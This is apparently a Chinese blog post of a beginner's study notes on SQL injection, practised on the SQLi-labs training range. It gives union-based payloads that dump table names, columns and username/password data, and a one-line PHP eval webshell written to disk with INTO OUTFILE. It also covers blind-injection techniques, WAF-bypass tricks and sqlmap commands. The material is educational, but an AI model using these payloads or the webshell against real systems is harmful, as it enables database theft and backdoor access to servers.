SQL注入

免责声名

博主是一位网络安全初学者加爱好者,所写的文章是作为经验分享,同时给自己做笔记;

若用到上述技术违法,应本人自负责。

一、什么是SQL注入

        SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定好的查询语句的结尾上添加额外SQL语句,在管理员不知情的情况下实现非法操作,以此实现欺骗数据库服务器执行的非授权的任意查询,进而数据和信息泄露(所有数据都离不开数据库)

web应用的三层架构:视图层+业务逻辑层+数据访问层

二、要对SQL数据库要有了解

数据库的不同,注入方式也有少许的变化

1、常用的数据库

2、数据库服务器的层级关系

 2、系统库(有四个系统库)

提供了访问数据库元数据的方式

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

(跟身份证一样)

四个数据库,这个数据库最重要

3、语法

show database           #查询当前所有数据库

use [数据库名字]        #选中数据库

show tables                #查询当前所有数据表

select * from [表名]     #星号是通配符,查询所有,from后面跟着表名是来自于哪个表

where [条件]               #在select * from 后面写where加上条件

union                          #合并查询(放在两条sql语句中间形成合并)

order by  [字段名字]   #排序,也可以字段名字改成数据。        拆解表有几列。

4、靶场--SQLi-labs

下载地址:https://github.com/Audi-1/sqli-labs

三、SQL手工注入

1、进行SQL注入要判断有没有注入点

and 1=1 

随便输入内容 == 报错有注入,没报错无注入

2、猜解列名数量 

order by 数字   ---数字超过列数进行报错

3、报错的方式,判断回显点       

union select 1,2,3

4、信息收集  

数据库版本:version()

高版本:5.0以上        高版本有系统库

低版本:5.0以下        

查看数据库名称函数:database()

5、使用对应的SQL进行注入

(1、爆数据表

数据库库名:security

infromation_schema.tables在系统库里寻找表名

union select 1,table_name,3 from information_schema.tables where table_schema='security'

group_concat() 可以去重,也可以全部显示

 爆出的表:emails,referers,uagents,users

(2、爆数据列(字段)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

爆出列(字段):user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

(3、爆数据

union select 1,2,(select group_concat(username,0x3a,password)) from users

0x3a        ----表示分号符(:)

union select 1,group_concat(username),group_concat(password) from users

个人觉得这个看的更加详细

6、SQL高权限注入

(1、在系统库中有个mysql系统库

user表             #最高级别,最高权限

db表                #对某个数据库的一个权限

tabls_priv        #对一个表的操作权限

columns_priv  #对一个字段的操作权限

(2、mysql权限的验证过程

(3、手工高权限注入 

id=-1 union select 1,user(),3

 可以看见root用户为最高权限,进行夸库读取

(4、SQL注入之文件读写

读写:1、用户信息 账号 密码

           2、配置信息

           3、写入:一句话木马(后门)

高版本的mysql有个新特性secure_file_priv这个文件限制了mysql的读写导出的权限

要在sql配置文件的my.ini里添加

如果secure_file_priv:                  #读写没有限制

如果secure_file_priv:null            #读写不了

如果secure_file_priv:[路径]        #只在该路径可以读写

load_file('[路径]')  读取函数

 如果上面都配置没问题的话,就重启一下phpstady

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

into outfile           #写入函数(能写入多行,按格式输出)

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径

into dumpfile        #只能写入一行且没有输出格式

id=1 union select 1,'goutuo',3 into outfile 'g:/goutuo.php'--+

 写入进去,如果要一句话木马的话,我尝试了直接写入是不行的,还是得通过一些特殊的一句话木马

id=1 union select 1,'<?php @eval($_POST[6]); ?>',3 into outfile 'G:/php/phpstudy_pro/WWW/sqli-labs-master/goutuo.php'--+

这就是写入进去的一句话木马(后门)用蚁剑连接就OK了

四、SQL注入数据类型($-->你输入的值)

1、数字型

数字型的sql语句是

select * from users where id=$ limit 0,1

报错方式:判断注入点,有报错,就有注入点。

and 1=2

随便输点东西

2、字符型

字符型的sql语句是

select * from users where id='$' limit 0,1        

字符型输入1 and 1=1

select * from users where id='1 and 1=1' limit 0,1   

会把'1 and 1=1'变成一个整体,同时自动过滤后面内容。

用数字型的报错方式对于字符型都毫无意义

报错方式:判断注入点,有报错,就有注入点。

1'

3、搜索型(模糊查询)

sql语句:

select * from useres where like '%$%'               %-->通配符

y%' or 1=1 #        传进去

select * from useres where like '%y%' or 1=1 # %' 

 所以每一种类型基本上都是闭合所设置的类型,进行注入

4、xx型(其他类型)

闭合符号:

'

''

%

(

{

都得去试一下。

五、SQL注入数据提交方式

1、get方式注入

gat注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中执行,可利用联合注入方式直接注入(第三章用的就是url注入)

场景:数据不敏感,安全性不高,传递数据快,数据长度有限

2、post方式注入

post提交方式主要适用于表单提交,用于登录框的注入,直接传递给服务器

方法:利用bp抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可以转化为网页显示。

场景:安全性高,长度不限,速度慢

3、Request方式注入

超全局变量PHP中的许多预定义变量都是“超全局”,就是既可以接收get方式也可以接收post方式

还有一个cookie

cookie会和后端服务器有一定的数据交互,导致也可以注入

cookie注入:可以直接绕过一些常规防御

六、SQL报错盲注

1、SQL查询方式(查询方式都可以进行或者尝试注入)

select        查询数据 (场景:登录)

select * from user where id=$

delete        删除数据(场景:删除、取消)

delete from user where id=$

insert        插入数据(场景:注册,添加)

inser into user (列名字) values (数据)

update        更新数据(场景:更改,报错)

update user set pwd='p' where id=1

 2、基于报错的SQL盲注-报错回显(强制性报错)

前提:这边要对xml的语言有所了解

updatexml():从目标XML中更改包含所查询值的字符串(有三个参数)

第一个参数:XML_document是string格式,(就是XML文档对象的名称,就更改的文件名叫什么)

第二个参数:XPath_string(路径)

第三个参数:new value,string格式,替换查找到符合条件的数据(替换第一个参数)

updatexml(XML_document,Xpath_string,new_value)

例: 

 0x7e是~

后面的爆破就根据这个格式进行爆库等等

extractvalue():从目标XML中返回包含所查询值的字符串(有两个参数)

第一个参数:XML_document是string格式,(就是XML文档对象的名称,就更改的文件名叫什么)

第二个参数:XPath_string

extractvalue(XML_document,XPath_Sting)

例:

3、基于时间的SQL盲注-延时判断

要有一定的知识储备:

sleep():可以使计算机程序(进程、任务或线程)进入休眠

if():是计算机编程语言的一个关键字,分支结构

mid(a,b,c):从b开始,截取a字符串的c位

substr(a,b,c):从b开始,截取字符串a的c长度

left(database(),1),database():left(a,b)从左侧截取a的前b位

length(database())=?:判断长度

ord=ascii ascii(x)=?:判断x的ascii值是否为100

4、基于布尔的SQL盲注-逻辑判断

在web页面中仅仅会返回true和false。布尔盲注就是根据页面返回的true或者false来得到数据库信息

后面用ASCII来猜解出数据库的名字,根据最上面的手工注入进行后续猜测下面表和列名以及数据。就是很消耗时间

结合二分法

ascii有0~127个,二分法就是把他们对半分

可以先判断在哪个范围里,语法:

and ascii(mid(database(),1,1))>115 --+

或者

and ascii(mid(database(),1,1))>115 --+

来进行拆解

七、SQL注入WAF绕过

常见的WAF:

网站安全狗、宝塔、阿里云--云盾、

1、大小写绕过(比较过时)

unION Select DAtaBase()

2、内联注释绕过--/**/

union select database/**/()

/*!union*/ select database  #!后面的执行

3、双写绕过

ununionion seselectlect datadatabasebase()

4、编码绕过

把过滤字段用base64或者16进制等等编码进行绕过

5、换行绕过

union #

union select database()

绕过方式有很多种,灵活运用,这边不一一举例

七、sqlmap注入工具

1、get型注入-u

sqlmap.py -u "网站"

2、post型注入

用bp抓包,然后保存抓取到的内容。例:保存为1.txt文件放在某个目录下

用-r加载一个文件

用-p指定参数

sqlmap.py -r 文件路径 -p uname --dbs

对于后面爆库以及数据就自行了解。

谢谢阅读

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值